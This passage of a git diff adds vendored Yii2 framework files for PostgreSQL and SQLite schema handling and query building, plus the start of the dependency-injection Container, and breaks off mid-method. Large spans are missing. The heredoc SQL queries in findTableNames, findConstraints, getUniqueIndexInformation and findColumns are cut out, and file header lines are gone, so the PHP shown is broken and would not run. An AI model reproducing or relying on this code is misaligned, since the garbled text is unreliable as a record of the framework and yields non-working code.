. $this->db->quoteColumnName($column) . ' TYPE ' + . $this->getColumnType($type); + } + + /** + * @inheritdoc + */ + public function batchInsert($table, $columns, $rows) + { + $schema = $this->db->getSchema(); + if (($tableSchema = $schema->getTableSchema($table)) !== null) { + $columnSchemas = $tableSchema->columns; + } else { + $columnSchemas = []; + } + + $values = []; + foreach ($rows as $row) { + $vs = []; + foreach ($row as $i => $value) { + if (!is_array($value) && isset($columnSchemas[$columns[$i]])) { + $value = $columnSchemas[$columns[$i]]->dbTypecast($value); + } + if (is_string($value)) { + $value = $schema->quoteValue($value); + } elseif ($value === true) { + $value = 'TRUE'; + } elseif ($value === false) { + $value = 'FALSE'; + } elseif ($value === null) { + $value = 'NULL'; + } + $vs[] = $value; + } + $values[] = '(' . implode(', ', $vs) . ')'; + } + + foreach ($columns as $i => $name) { + $columns[$i] = $schema->quoteColumnName($name); + } + + return 'INSERT INTO ' . $schema->quoteTableName($table) + . ' (' . implode(', ', $columns) . ') VALUES ' . implode(', ', $values); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/pgsql/Schema.php b/php/yii2/basic/vendor/yiisoft/yii2/db/pgsql/Schema.php new file mode 100644 index 00000000..8ccfa725 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/pgsql/Schema.php @@ -0,0 +1,438 @@ + + * @since 2.0 + */ +class Schema extends \yii\db\Schema +{ + /** + * @var string the default schema used for the current session. + */ + public $defaultSchema = 'public'; + /** + * @var array mapping from physical column types (keys) to abstract + * column types (values) + * @see http://www.postgresql.org/docs/current/static/datatype.html#DATATYPE-TABLE + */ + public $typeMap = [ + 'bit' => self::TYPE_INTEGER, + 'bit varying' => self::TYPE_INTEGER, + 'varbit' => self::TYPE_INTEGER, + + 'bool' => self::TYPE_BOOLEAN, + 'boolean' => self::TYPE_BOOLEAN, + + 'box' => self::TYPE_STRING, + 'circle' => self::TYPE_STRING, + 'point' => self::TYPE_STRING, + 'line' => self::TYPE_STRING, + 'lseg' => self::TYPE_STRING, + 'polygon' => self::TYPE_STRING, + 'path' => self::TYPE_STRING, + + 'character' => self::TYPE_STRING, + 'char' => self::TYPE_STRING, + 'character varying' => self::TYPE_STRING, + 'varchar' => self::TYPE_STRING, + 'text' => self::TYPE_TEXT, + + 'bytea' => self::TYPE_BINARY, + + 'cidr' => self::TYPE_STRING, + 'inet' => self::TYPE_STRING, + 'macaddr' => self::TYPE_STRING, + + 'real' => self::TYPE_FLOAT, + 'float4' => self::TYPE_FLOAT, + 'double precision' => self::TYPE_FLOAT, + 'float8' => self::TYPE_FLOAT, + 'decimal' => self::TYPE_DECIMAL, + 'numeric' => self::TYPE_DECIMAL, + + 'money' => self::TYPE_MONEY, + + 'smallint' => self::TYPE_SMALLINT, + 'int2' => self::TYPE_SMALLINT, + 'int4' => self::TYPE_INTEGER, + 'int' => self::TYPE_INTEGER, + 'integer' => self::TYPE_INTEGER, + 'bigint' => self::TYPE_BIGINT, + 'int8' => self::TYPE_BIGINT, + 'oid' => self::TYPE_BIGINT, // should not be used. it's pg internal! + + 'smallserial' => self::TYPE_SMALLINT, + 'serial2' => self::TYPE_SMALLINT, + 'serial4' => self::TYPE_INTEGER, + 'serial' => self::TYPE_INTEGER, + 'bigserial' => self::TYPE_BIGINT, + 'serial8' => self::TYPE_BIGINT, + 'pg_lsn' => self::TYPE_BIGINT, + + 'date' => self::TYPE_DATE, + 'interval' => self::TYPE_STRING, + 'time without time zone' => self::TYPE_TIME, + 'time' => self::TYPE_TIME, + 'time with time zone' => self::TYPE_TIME, + 'timetz' => self::TYPE_TIME, + 'timestamp without time zone' => self::TYPE_TIMESTAMP, + 'timestamp' => self::TYPE_TIMESTAMP, + 'timestamp with time zone' => self::TYPE_TIMESTAMP, + 'timestamptz' => self::TYPE_TIMESTAMP, + 'abstime' => self::TYPE_TIMESTAMP, + + 'tsquery' => self::TYPE_STRING, + 'tsvector' => self::TYPE_STRING, + 'txid_snapshot' => self::TYPE_STRING, + + 'unknown' => self::TYPE_STRING, + + 'uuid' => self::TYPE_STRING, + 'json' => self::TYPE_STRING, + 'jsonb' => self::TYPE_STRING, + 'xml' => self::TYPE_STRING + ]; + + + /** + * Creates a query builder for the PostgreSQL database. + * @return QueryBuilder query builder instance + */ + public function createQueryBuilder() + { + return new QueryBuilder($this->db); + } + + /** + * Resolves the table name and schema name (if any). + * @param TableSchema $table the table metadata object + * @param string $name the table name + */ + protected function resolveTableNames($table, $name) + { + $parts = explode('.', str_replace('"', '', $name)); + + if (isset($parts[1])) { + $table->schemaName = $parts[0]; + $table->name = $parts[1]; + } else { + $table->schemaName = $this->defaultSchema; + $table->name = $name; + } + + $table->fullName = $table->schemaName !== $this->defaultSchema ? $table->schemaName . '.' . $table->name : $table->name; + } + + /** + * Quotes a table name for use in a query. + * A simple table name has no schema prefix. + * @param string $name table name + * @return string the properly quoted table name + */ + public function quoteSimpleTableName($name) + { + return strpos($name, '"') !== false ? $name : '"' . $name . '"'; + } + + /** + * Loads the metadata for the specified table. + * @param string $name table name + * @return TableSchema|null driver dependent table metadata. Null if the table does not exist. + */ + public function loadTableSchema($name) + { + $table = new TableSchema(); + $this->resolveTableNames($table, $name); + if ($this->findColumns($table)) { + $this->findConstraints($table); + + return $table; + } else { + return null; + } + } + + /** + * Returns all table names in the database. + * @param string $schema the schema of the tables. Defaults to empty string, meaning the current or default schema. + * @return array all table names in the database. The names have NO schema name prefix. + */ + protected function findTableNames($schema = '') + { + if ($schema === '') { + $schema = $this->defaultSchema; + } + $sql = <<db->createCommand($sql); + $command->bindParam(':schema', $schema); + $rows = $command->queryAll(); + $names = []; + foreach ($rows as $row) { + $names[] = $row['table_name']; + } + + return $names; + } + + /** + * Collects the foreign key column details for the given table. + * @param TableSchema $table the table metadata + */ + protected function findConstraints($table) + { + + $tableName = $this->quoteValue($table->name); + $tableSchema = $this->quoteValue($table->schemaName); + + //We need to extract the constraints de hard way since: + //http://www.postgresql.org/message-id/26677.1086673982@sss.pgh.pa.us + + $sql = <<db->createCommand($sql)->queryAll(); + foreach ($constraints as $constraint) { + $columns = explode(',', $constraint['columns']); + $fcolumns = explode(',', $constraint['foreign_columns']); + if ($constraint['foreign_table_schema'] !== $this->defaultSchema) { + $foreignTable = $constraint['foreign_table_schema'] . '.' . $constraint['foreign_table_name']; + } else { + $foreignTable = $constraint['foreign_table_name']; + } + $citem = [$foreignTable]; + foreach ($columns as $idx => $column) { + $citem[$column] = $fcolumns[$idx]; + } + $table->foreignKeys[] = $citem; + } + } + + /** + * Gets information about given table unique indexes. + * @param TableSchema $table the table metadata + * @return array with index names, columns and if it is an expression tree + */ + protected function getUniqueIndexInformation($table) + { + $tableName = $this->quoteValue($table->name); + $tableSchema = $this->quoteValue($table->schemaName); + + $sql = <<db->createCommand($sql)->queryAll(); + } + + /** + * Returns all unique indexes for the given table. + * Each array element is of the following structure: + * + * ~~~ + * [ + * 'IndexName1' => ['col1' [, ...]], + * 'IndexName2' => ['col2' [, ...]], + * ] + * ~~~ + * + * @param TableSchema $table the table metadata + * @return array all unique indexes for the given table. + */ + public function findUniqueIndexes($table) + { + $indexes = $this->getUniqueIndexInformation($table); + $uniqueIndexes = []; + + foreach ($indexes as $index) { + $indexName = $index['indexname']; + + if ($index['indexprs']) { + // Index is an expression like "lower(colname::text)" + $indexColumns = preg_replace("/.*\(([^\:]+).*/mi", "$1", $index['indexcolumns']); + } else { + $indexColumns = array_map('trim', explode(',', str_replace(['{', '}', '"', '\\'], '', $index['indexcolumns']))); + } + + $uniqueIndexes[$indexName] = $indexColumns; + + } + + return $uniqueIndexes; + } + + /** + * Collects the metadata of table columns. + * @param TableSchema $table the table metadata + * @return boolean whether the table exists in the database + */ + protected function findColumns($table) + { + $tableName = $this->db->quoteValue($table->name); + $schemaName = $this->db->quoteValue($table->schemaName); + $sql = <<> 16) & 65535 + END + WHEN 700 /*float4*/ THEN 24 /*FLT_MANT_DIG*/ + WHEN 701 /*float8*/ THEN 53 /*DBL_MANT_DIG*/ + ELSE null + END AS numeric_precision, + CASE + WHEN atttypid IN (21, 23, 20) THEN 0 + WHEN atttypid IN (1700) THEN + CASE + WHEN atttypmod = -1 THEN null + ELSE (atttypmod - 4) & 65535 + END + ELSE null + END AS numeric_scale, + CAST( + information_schema._pg_char_max_length(information_schema._pg_truetypid(a, t), information_schema._pg_truetypmod(a, t)) + AS numeric + ) AS size, + a.attnum = any (ct.conkey) as is_pkey +FROM + pg_class c + LEFT JOIN pg_attribute a ON a.attrelid = c.oid + LEFT JOIN pg_attrdef ad ON a.attrelid = ad.adrelid AND a.attnum = ad.adnum + LEFT JOIN pg_type t ON a.atttypid = t.oid + LEFT JOIN pg_namespace d ON d.oid = c.relnamespace + LEFT join pg_constraint ct on ct.conrelid=c.oid and ct.contype='p' +WHERE + a.attnum > 0 and t.typname != '' + and c.relname = {$tableName} + and d.nspname = {$schemaName} +ORDER BY + a.attnum; +SQL; + + $columns = $this->db->createCommand($sql)->queryAll(); + if (empty($columns)) { + return false; + } + foreach ($columns as $column) { + $column = $this->loadColumnSchema($column); + $table->columns[$column->name] = $column; + if ($column->isPrimaryKey) { + $table->primaryKey[] = $column->name; + if ($table->sequenceName === null && preg_match("/nextval\\('\"?\\w+\"?\.?\"?\\w+\"?'(::regclass)?\\)/", $column->defaultValue) === 1) { + $table->sequenceName = preg_replace(['/nextval/', '/::/', '/regclass/', '/\'\)/', '/\(\'/'], '', $column->defaultValue); + } + $column->defaultValue = null; + } elseif ($column->defaultValue) { + if ($column->type === 'timestamp' && $column->defaultValue === 'now()') { + $column->defaultValue = new Expression($column->defaultValue); + } elseif ($column->type === 'boolean') { + $column->defaultValue = ($column->defaultValue === 'true'); + } elseif (stripos($column->dbType, 'bit') === 0 || stripos($column->dbType, 'varbit') === 0) { + $column->defaultValue = bindec(trim($column->defaultValue, 'B\'')); + } elseif (preg_match("/^'(.*?)'::/", $column->defaultValue, $matches)) { + $column->defaultValue = $matches[1]; + } elseif (preg_match("/^(.*?)::/", $column->defaultValue, $matches)) { + $column->defaultValue = $column->phpTypecast($matches[1]); + } else { + $column->defaultValue = $column->phpTypecast($column->defaultValue); + } + } + } + + return true; + } + + /** + * Loads the column information into a [[ColumnSchema]] object. + * @param array $info column information + * @return ColumnSchema the column schema object + */ + protected function loadColumnSchema($info) + { + $column = $this->createColumnSchema(); + $column->allowNull = $info['is_nullable']; + $column->autoIncrement = $info['is_autoinc']; + $column->comment = $info['column_comment']; + $column->dbType = $info['data_type']; + $column->defaultValue = $info['column_default']; + $column->enumValues = ($info['enum_values'] !== null) ? explode(',', str_replace(["''"], ["'"], $info['enum_values'])) : null; + $column->unsigned = false; // has no meaning in PG + $column->isPrimaryKey = $info['is_pkey']; + $column->name = $info['column_name']; + $column->precision = $info['numeric_precision']; + $column->scale = $info['numeric_scale']; + $column->size = $info['size'] === null ? null : (int)$info['size']; + if (isset($this->typeMap[$column->dbType])) { + $column->type = $this->typeMap[$column->dbType]; + } else { + $column->type = self::TYPE_STRING; + } + $column->phpType = $this->getColumnPhpType($column); + + return $column; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/sqlite/QueryBuilder.php b/php/yii2/basic/vendor/yiisoft/yii2/db/sqlite/QueryBuilder.php new file mode 100644 index 00000000..e1a12845 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/sqlite/QueryBuilder.php @@ -0,0 +1,294 @@ + + * @since 2.0 + */ +class QueryBuilder extends \yii\db\QueryBuilder +{ + /** + * @var array mapping from abstract column types (keys) to physical column types (values). + */ + public $typeMap = [ + Schema::TYPE_PK => 'integer PRIMARY KEY AUTOINCREMENT NOT NULL', + Schema::TYPE_BIGPK => 'integer PRIMARY KEY AUTOINCREMENT NOT NULL', + Schema::TYPE_STRING => 'varchar(255)', + Schema::TYPE_TEXT => 'text', + Schema::TYPE_SMALLINT => 'smallint', + Schema::TYPE_INTEGER => 'integer', + Schema::TYPE_BIGINT => 'bigint', + Schema::TYPE_FLOAT => 'float', + Schema::TYPE_DECIMAL => 'decimal(10,0)', + Schema::TYPE_DATETIME => 'datetime', + Schema::TYPE_TIMESTAMP => 'timestamp', + Schema::TYPE_TIME => 'time', + Schema::TYPE_DATE => 'date', + Schema::TYPE_BINARY => 'blob', + Schema::TYPE_BOOLEAN => 'boolean', + Schema::TYPE_MONEY => 'decimal(19,4)', + ]; + + + /** + * Generates a batch INSERT SQL statement. + * For example, + * + * ~~~ + * $connection->createCommand()->batchInsert('user', ['name', 'age'], [ + * ['Tom', 30], + * ['Jane', 20], + * ['Linda', 25], + * ])->execute(); + * ~~~ + * + * Note that the values in each row must match the corresponding column names. + * + * @param string $table the table that new rows will be inserted into. + * @param array $columns the column names + * @param array $rows the rows to be batch inserted into the table + * @return string the batch INSERT SQL statement + */ + public function batchInsert($table, $columns, $rows) + { + // SQLite supports batch insert natively since 3.7.11 + // http://www.sqlite.org/releaselog/3_7_11.html + if (version_compare(\SQLite3::version()['versionString'], '3.7.11', '>=')) { + return parent::batchInsert($table, $columns, $rows); + } + + $schema = $this->db->getSchema(); + if (($tableSchema = $schema->getTableSchema($table)) !== null) { + $columnSchemas = $tableSchema->columns; + } else { + $columnSchemas = []; + } + + $values = []; + foreach ($rows as $row) { + $vs = []; + foreach ($row as $i => $value) { + if (!is_array($value) && isset($columnSchemas[$columns[$i]])) { + $value = $columnSchemas[$columns[$i]]->dbTypecast($value); + } + if (is_string($value)) { + $value = $schema->quoteValue($value); + } elseif ($value === false) { + $value = 0; + } elseif ($value === null) { + $value = 'NULL'; + } + $vs[] = $value; + } + $values[] = implode(', ', $vs); + } + + foreach ($columns as $i => $name) { + $columns[$i] = $schema->quoteColumnName($name); + } + + return 'INSERT INTO ' . $schema->quoteTableName($table) + . ' (' . implode(', ', $columns) . ') SELECT ' . implode(' UNION SELECT ', $values); + } + + /** + * Creates a SQL statement for resetting the sequence value of a table's primary key. + * The sequence will be reset such that the primary key of the next new row inserted + * will have the specified value or 1. + * @param string $tableName the name of the table whose primary key sequence will be reset + * @param mixed $value the value for the primary key of the next new row inserted. If this is not set, + * the next new row's primary key will have a value 1. + * @return string the SQL statement for resetting sequence + * @throws InvalidParamException if the table does not exist or there is no sequence associated with the table. + */ + public function resetSequence($tableName, $value = null) + { + $db = $this->db; + $table = $db->getTableSchema($tableName); + if ($table !== null && $table->sequenceName !== null) { + if ($value === null) { + $key = reset($table->primaryKey); + $tableName = $db->quoteTableName($tableName); + $value = $this->db->useMaster(function (Connection $db) use ($key, $tableName) { + return $db->createCommand("SELECT MAX('$key') FROM $tableName")->queryScalar(); + }); + } else { + $value = (int) $value - 1; + } + try { + $db->createCommand("UPDATE sqlite_sequence SET seq='$value' WHERE name='{$table->name}'")->execute(); + } catch (Exception $e) { + // it's possible that sqlite_sequence does not exist + } + } elseif ($table === null) { + throw new InvalidParamException("Table not found: $tableName"); + } else { + throw new InvalidParamException("There is not sequence associated with table '$tableName'.'"); + } + } + + /** + * Enables or disables integrity check. + * @param boolean $check whether to turn on or off the integrity check. + * @param string $schema the schema of the tables. Meaningless for SQLite. + * @param string $table the table name. Meaningless for SQLite. + * @return string the SQL statement for checking integrity + * @throws NotSupportedException this is not supported by SQLite + */ + public function checkIntegrity($check = true, $schema = '', $table = '') + { + return 'PRAGMA foreign_keys='.(int)$check; + } + + /** + * Builds a SQL statement for truncating a DB table. + * @param string $table the table to be truncated. The name will be properly quoted by the method. + * @return string the SQL statement for truncating a DB table. + */ + public function truncateTable($table) + { + return "DELETE FROM " . $this->db->quoteTableName($table); + } + + /** + * Builds a SQL statement for dropping an index. + * @param string $name the name of the index to be dropped. The name will be properly quoted by the method. + * @param string $table the table whose index is to be dropped. The name will be properly quoted by the method. + * @return string the SQL statement for dropping an index. + */ + public function dropIndex($name, $table) + { + return 'DROP INDEX ' . $this->db->quoteTableName($name); + } + + /** + * Builds a SQL statement for dropping a DB column. + * @param string $table the table whose column is to be dropped. The name will be properly quoted by the method. + * @param string $column the name of the column to be dropped. The name will be properly quoted by the method. + * @return string the SQL statement for dropping a DB column. + * @throws NotSupportedException this is not supported by SQLite + */ + public function dropColumn($table, $column) + { + throw new NotSupportedException(__METHOD__ . ' is not supported by SQLite.'); + } + + /** + * Builds a SQL statement for renaming a column. + * @param string $table the table whose column is to be renamed. The name will be properly quoted by the method. + * @param string $oldName the old name of the column. The name will be properly quoted by the method. + * @param string $newName the new name of the column. The name will be properly quoted by the method. + * @return string the SQL statement for renaming a DB column. + * @throws NotSupportedException this is not supported by SQLite + */ + public function renameColumn($table, $oldName, $newName) + { + throw new NotSupportedException(__METHOD__ . ' is not supported by SQLite.'); + } + + /** + * Builds a SQL statement for adding a foreign key constraint to an existing table. + * The method will properly quote the table and column names. + * @param string $name the name of the foreign key constraint. + * @param string $table the table that the foreign key constraint will be added to. + * @param string|array $columns the name of the column to that the constraint will be added on. + * If there are multiple columns, separate them with commas or use an array to represent them. + * @param string $refTable the table that the foreign key references to. + * @param string|array $refColumns the name of the column that the foreign key references to. + * If there are multiple columns, separate them with commas or use an array to represent them. + * @param string $delete the ON DELETE option. Most DBMS support these options: RESTRICT, CASCADE, NO ACTION, SET DEFAULT, SET NULL + * @param string $update the ON UPDATE option. Most DBMS support these options: RESTRICT, CASCADE, NO ACTION, SET DEFAULT, SET NULL + * @return string the SQL statement for adding a foreign key constraint to an existing table. + * @throws NotSupportedException this is not supported by SQLite + */ + public function addForeignKey($name, $table, $columns, $refTable, $refColumns, $delete = null, $update = null) + { + throw new NotSupportedException(__METHOD__ . ' is not supported by SQLite.'); + } + + /** + * Builds a SQL statement for dropping a foreign key constraint. + * @param string $name the name of the foreign key constraint to be dropped. The name will be properly quoted by the method. + * @param string $table the table whose foreign is to be dropped. The name will be properly quoted by the method. + * @return string the SQL statement for dropping a foreign key constraint. + * @throws NotSupportedException this is not supported by SQLite + */ + public function dropForeignKey($name, $table) + { + throw new NotSupportedException(__METHOD__ . ' is not supported by SQLite.'); + } + + /** + * Builds a SQL statement for changing the definition of a column. + * @param string $table the table whose column is to be changed. The table name will be properly quoted by the method. + * @param string $column the name of the column to be changed. The name will be properly quoted by the method. + * @param string $type the new column type. The [[getColumnType()]] method will be invoked to convert abstract + * column type (if any) into the physical one. Anything that is not recognized as abstract type will be kept + * in the generated SQL. For example, 'string' will be turned into 'varchar(255)', while 'string not null' + * will become 'varchar(255) not null'. + * @return string the SQL statement for changing the definition of a column. + * @throws NotSupportedException this is not supported by SQLite + */ + public function alterColumn($table, $column, $type) + { + throw new NotSupportedException(__METHOD__ . ' is not supported by SQLite.'); + } + + /** + * Builds a SQL statement for adding a primary key constraint to an existing table. + * @param string $name the name of the primary key constraint. + * @param string $table the table that the primary key constraint will be added to. + * @param string|array $columns comma separated string or array of columns that the primary key will consist of. + * @return string the SQL statement for adding a primary key constraint to an existing table. + * @throws NotSupportedException this is not supported by SQLite + */ + public function addPrimaryKey($name, $table, $columns) + { + throw new NotSupportedException(__METHOD__ . ' is not supported by SQLite.'); + } + + /** + * Builds a SQL statement for removing a primary key constraint to an existing table. + * @param string $name the name of the primary key constraint to be removed. + * @param string $table the table that the primary key constraint will be removed from. + * @return string the SQL statement for removing a primary key constraint from an existing table. + * @throws NotSupportedException this is not supported by SQLite + */ + public function dropPrimaryKey($name, $table) + { + throw new NotSupportedException(__METHOD__ . ' is not supported by SQLite.'); + } + + /** + * @inheritdoc + */ + public function buildLimit($limit, $offset) + { + $sql = ''; + if ($this->hasLimit($limit)) { + $sql = 'LIMIT ' . $limit; + if ($this->hasOffset($offset)) { + $sql .= ' OFFSET ' . $offset; + } + } elseif ($this->hasOffset($offset)) { + // limit is not optional in SQLite + // http://www.sqlite.org/syntaxdiagrams.html#select-stmt + $sql = "LIMIT 9223372036854775807 OFFSET $offset"; // 2^63-1 + } + + return $sql; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/sqlite/Schema.php b/php/yii2/basic/vendor/yiisoft/yii2/db/sqlite/Schema.php new file mode 100644 index 00000000..d4ca4995 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/sqlite/Schema.php @@ -0,0 +1,285 @@ + + * @since 2.0 + */ +class Schema extends \yii\db\Schema +{ + /** + * @var array mapping from physical column types (keys) to abstract column types (values) + */ + public $typeMap = [ + 'tinyint' => self::TYPE_SMALLINT, + 'bit' => self::TYPE_SMALLINT, + 'boolean' => self::TYPE_BOOLEAN, + 'bool' => self::TYPE_BOOLEAN, + 'smallint' => self::TYPE_SMALLINT, + 'mediumint' => self::TYPE_INTEGER, + 'int' => self::TYPE_INTEGER, + 'integer' => self::TYPE_INTEGER, + 'bigint' => self::TYPE_BIGINT, + 'float' => self::TYPE_FLOAT, + 'double' => self::TYPE_FLOAT, + 'real' => self::TYPE_FLOAT, + 'decimal' => self::TYPE_DECIMAL, + 'numeric' => self::TYPE_DECIMAL, + 'tinytext' => self::TYPE_TEXT, + 'mediumtext' => self::TYPE_TEXT, + 'longtext' => self::TYPE_TEXT, + 'text' => self::TYPE_TEXT, + 'varchar' => self::TYPE_STRING, + 'string' => self::TYPE_STRING, + 'char' => self::TYPE_STRING, + 'blob' => self::TYPE_BINARY, + 'datetime' => self::TYPE_DATETIME, + 'year' => self::TYPE_DATE, + 'date' => self::TYPE_DATE, + 'time' => self::TYPE_TIME, + 'timestamp' => self::TYPE_TIMESTAMP, + 'enum' => self::TYPE_STRING, + ]; + + + /** + * Quotes a table name for use in a query. + * A simple table name has no schema prefix. + * @param string $name table name + * @return string the properly quoted table name + */ + public function quoteSimpleTableName($name) + { + return strpos($name, "`") !== false ? $name : "`" . $name . "`"; + } + + /** + * Quotes a column name for use in a query. + * A simple column name has no prefix. + * @param string $name column name + * @return string the properly quoted column name + */ + public function quoteSimpleColumnName($name) + { + return strpos($name, '`') !== false || $name === '*' ? $name : '`' . $name . '`'; + } + + /** + * Creates a query builder for the MySQL database. + * This method may be overridden by child classes to create a DBMS-specific query builder. + * @return QueryBuilder query builder instance + */ + public function createQueryBuilder() + { + return new QueryBuilder($this->db); + } + + /** + * Returns all table names in the database. + * @param string $schema the schema of the tables. Defaults to empty string, meaning the current or default schema. + * @return array all table names in the database. The names have NO schema name prefix. + */ + protected function findTableNames($schema = '') + { + $sql = "SELECT DISTINCT tbl_name FROM sqlite_master WHERE tbl_name<>'sqlite_sequence'"; + + return $this->db->createCommand($sql)->queryColumn(); + } + + /** + * Loads the metadata for the specified table. + * @param string $name table name + * @return TableSchema driver dependent table metadata. Null if the table does not exist. + */ + protected function loadTableSchema($name) + { + $table = new TableSchema; + $table->name = $name; + $table->fullName = $name; + + if ($this->findColumns($table)) { + $this->findConstraints($table); + + return $table; + } else { + return null; + } + } + + /** + * Collects the table column metadata. + * @param TableSchema $table the table metadata + * @return boolean whether the table exists in the database + */ + protected function findColumns($table) + { + $sql = "PRAGMA table_info(" . $this->quoteSimpleTableName($table->name) . ')'; + $columns = $this->db->createCommand($sql)->queryAll(); + if (empty($columns)) { + return false; + } + + foreach ($columns as $info) { + $column = $this->loadColumnSchema($info); + $table->columns[$column->name] = $column; + if ($column->isPrimaryKey) { + $table->primaryKey[] = $column->name; + } + } + if (count($table->primaryKey) === 1 && !strncasecmp($table->columns[$table->primaryKey[0]]->dbType, 'int', 3)) { + $table->sequenceName = ''; + $table->columns[$table->primaryKey[0]]->autoIncrement = true; + } + + return true; + } + + /** + * Collects the foreign key column details for the given table. + * @param TableSchema $table the table metadata + */ + protected function findConstraints($table) + { + $sql = "PRAGMA foreign_key_list(" . $this->quoteSimpleTableName($table->name) . ')'; + $keys = $this->db->createCommand($sql)->queryAll(); + foreach ($keys as $key) { + $id = (int) $key['id']; + if (!isset($table->foreignKeys[$id])) { + $table->foreignKeys[$id] = [$key['table'], $key['from'] => $key['to']]; + } else { + // composite FK + $table->foreignKeys[$id][$key['from']] = $key['to']; + } + } + } + + /** + * Returns all unique indexes for the given table. + * Each array element is of the following structure: + * + * ~~~ + * [ + * 'IndexName1' => ['col1' [, ...]], + * 'IndexName2' => ['col2' [, ...]], + * ] + * ~~~ + * + * @param TableSchema $table the table metadata + * @return array all unique indexes for the given table. + */ + public function findUniqueIndexes($table) + { + $sql = "PRAGMA index_list(" . $this->quoteSimpleTableName($table->name) . ')'; + $indexes = $this->db->createCommand($sql)->queryAll(); + $uniqueIndexes = []; + + foreach ($indexes as $index) { + $indexName = $index['name']; + $indexInfo = $this->db->createCommand("PRAGMA index_info(" . $this->quoteValue($index['name']) . ")")->queryAll(); + + if ($index['unique']) { + $uniqueIndexes[$indexName] = []; + foreach ($indexInfo as $row) { + $uniqueIndexes[$indexName][] = $row['name']; + } + } + } + + return $uniqueIndexes; + } + + /** + * Loads the column information into a [[ColumnSchema]] object. + * @param array $info column information + * @return ColumnSchema the column schema object + */ + protected function loadColumnSchema($info) + { + $column = $this->createColumnSchema(); + $column->name = $info['name']; + $column->allowNull = !$info['notnull']; + $column->isPrimaryKey = $info['pk'] != 0; + + $column->dbType = strtolower($info['type']); + $column->unsigned = strpos($column->dbType, 'unsigned') !== false; + + $column->type = self::TYPE_STRING; + if (preg_match('/^(\w+)(?:\(([^\)]+)\))?/', $column->dbType, $matches)) { + $type = strtolower($matches[1]); + if (isset($this->typeMap[$type])) { + $column->type = $this->typeMap[$type]; + } + + if (!empty($matches[2])) { + $values = explode(',', $matches[2]); + $column->size = $column->precision = (int) $values[0]; + if (isset($values[1])) { + $column->scale = (int) $values[1]; + } + if ($column->size === 1 && ($type === 'tinyint' || $type === 'bit')) { + $column->type = 'boolean'; + } elseif ($type === 'bit') { + if ($column->size > 32) { + $column->type = 'bigint'; + } elseif ($column->size === 32) { + $column->type = 'integer'; + } + } + } + } + $column->phpType = $this->getColumnPhpType($column); + + if (!$column->isPrimaryKey) { + if ($info['dflt_value'] === 'null' || $info['dflt_value'] === '' || $info['dflt_value'] === null) { + $column->defaultValue = null; + } elseif ($column->type === 'timestamp' && $info['dflt_value'] === 'CURRENT_TIMESTAMP') { + $column->defaultValue = new Expression('CURRENT_TIMESTAMP'); + } else { + $value = trim($info['dflt_value'], "'\""); + $column->defaultValue = $column->phpTypecast($value); + } + } + + return $column; + } + + /** + * Sets the isolation level of the current transaction. + * @param string $level The transaction isolation level to use for this transaction. + * This can be either [[Transaction::READ_UNCOMMITTED]] or [[Transaction::SERIALIZABLE]]. + * @throws \yii\base\NotSupportedException when unsupported isolation levels are used. + * SQLite only supports SERIALIZABLE and READ UNCOMMITTED. + * @see http://www.sqlite.org/pragma.html#pragma_read_uncommitted + */ + public function setTransactionIsolationLevel($level) + { + switch($level) + { + case Transaction::SERIALIZABLE: + $this->db->createCommand("PRAGMA read_uncommitted = False;")->execute(); + break; + case Transaction::READ_UNCOMMITTED: + $this->db->createCommand("PRAGMA read_uncommitted = True;")->execute(); + break; + default: + throw new NotSupportedException(get_class($this) . ' only supports transaction isolation levels READ UNCOMMITTED and SERIALIZABLE.'); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/di/Container.php b/php/yii2/basic/vendor/yiisoft/yii2/di/Container.php new file mode 100644 index 00000000..cf17a25a --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/di/Container.php @@ -0,0 +1,450 @@ +db = $db; + * parent::__construct($config); + * } + * + * public function findUser() + * { + * } + * } + * + * class UserLister extends Object + * { + * public $finder; + * + * public function __construct(UserFinderInterface $finder, $config = []) + * { + * $this->finder = $finder; + * parent::__construct($config); + * } + * } + * + * $container = new Container; + * $container->set('yii\db\Connection', [ + * 'dsn' => '...', + * ]); + * $container->set('app\models\UserFinderInterface', [ + * 'class' => 'app\models\UserFinder', + * ]); + * $container->set('userLister', 'app\models\UserLister'); + * + * $lister = $container->get('userLister'); + * + * // which is equivalent to: + * + * $db = new \yii\db\Connection(['dsn' => '...']); + * $finder = new UserFinder($db); + * $lister = new UserLister($finder); + * ``` + * + * @property array $definitions The list of the object definitions or the loaded shared objects (type or ID => + * definition or instance). This property is read-only. + * + * @author Qiang Xue + * @since 2.0 + */ +class Container extends Component +{ + /** + * @var array singleton objects indexed by their types + */ + private $_singletons = []; + /** + * @var array object definitions indexed by their types + */ + private $_definitions = []; + /** + * @var array constructor parameters indexed by object types + */ + private $_params = []; + /** + * @var array cached ReflectionClass objects indexed by class/interface names + */ + private $_reflections = []; + /** + * @var array cached dependencies indexed by class/interface names. Each class name + * is associated with a list of constructor parameter types or default values. + */ + private $_dependencies = []; + + + /** + * Returns an instance of the requested class. + * + * You may provide constructor parameters (`$params`) and object configurations (`$config`) + * that will be used during the creation of the instance. + * + * Note that if the class is declared to be singleton by calling [[setSingleton()]], + * the same instance of the class will be returned each time this method is called. + * In this case, the constructor parameters and object configurations will be used + * only if the class is instantiated the first time. + * + * @param string $class the class name or an alias name (e.g. `foo`) that was previously registered via [[set()]] + * or [[setSingleton()]]. + * @param array $params a list of constructor parameter values. The parameters should be provided in the order + * they appear in the constructor declaration. If you want to skip some parameters, you should index the remaining + * ones with the integers that represent their positions in the constructor parameter list. + * @param array $config a list of name-value pairs that will be used to initialize the object properties. + * @return object an instance of the requested class. + * @throws InvalidConfigException if the class cannot be recognized or correspond to an invalid definition + */ + public function get($class, $params = [], $config = []) + { + if (isset($this->_singletons[$class])) { + // singleton + return $this->_singletons[$class]; + } elseif (!isset($this->_definitions[$class])) { + return $this->build($class, $params, $config); + } + + $definition = $this->_definitions[$class]; + + if (is_callable($definition, true)) { + $params = $this->resolveDependencies($this->mergeParams($class, $params)); + $object = call_user_func($definition, $this, $params, $config); + } elseif (is_array($definition)) { + $concrete = $definition['class']; + unset($definition['class']); + + $config = array_merge($definition, $config); + $params = $this->mergeParams($class, $params); + + if ($concrete === $class) 